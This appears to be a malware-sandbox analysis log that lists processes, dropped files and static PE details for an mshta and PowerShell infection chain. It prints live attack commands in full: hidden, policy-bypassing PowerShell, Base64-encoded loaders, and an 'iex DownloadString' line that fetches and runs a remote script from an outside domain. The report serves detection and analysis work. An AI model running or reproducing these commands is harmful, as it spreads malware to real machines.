Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw==')))	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))"	Jump to behavior

Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr

Static PE information: 0xBB299474 [Wed Jul 3 08:06:12 2069 UTC]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC437E push edi; retf	13_2_02BC4381
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02C912E0 push esp; retn 0002h	13_2_02C912E9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02C9AA42 push esp; ret	13_2_02C9AA49
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_06BA965B push FFFFFFE8h; iretd	13_2_06BA965D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_06BAA59E push cs; retf	13_2_06BAA59F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_06BF1EB8 push esp; retf	13_2_06BF20F1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_06BF216A push eax; iretd	13_2_06BF2171
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072EB59F pushfd ; iretd	13_2_072EB5AA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08067CE3 push edi; retf	13_2_08067CE4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08070471 push es; ret	13_2_08070480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0807E7D8 pushfd ; retf	13_2_0807E7E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0044A888 push ss; iretd	19_2_0044A899
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0044AB99 push 00BEF4A1h; iretd	19_2_0044ABA0
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Code function: 20_2_00007FFAABD1D2A5 pushad ; iretd	20_2_00007FFAABD1D2A6
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Code function: 20_2_00007FFAABE300AD pushad ; iretd	20_2_00007FFAABE300C1
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Code function: 20_2_00007FFAABE3270B push ebx; retf	20_2_00007FFAABE3272A

Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr

Static PE information: section name: .text entropy: 6.849051997127782

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
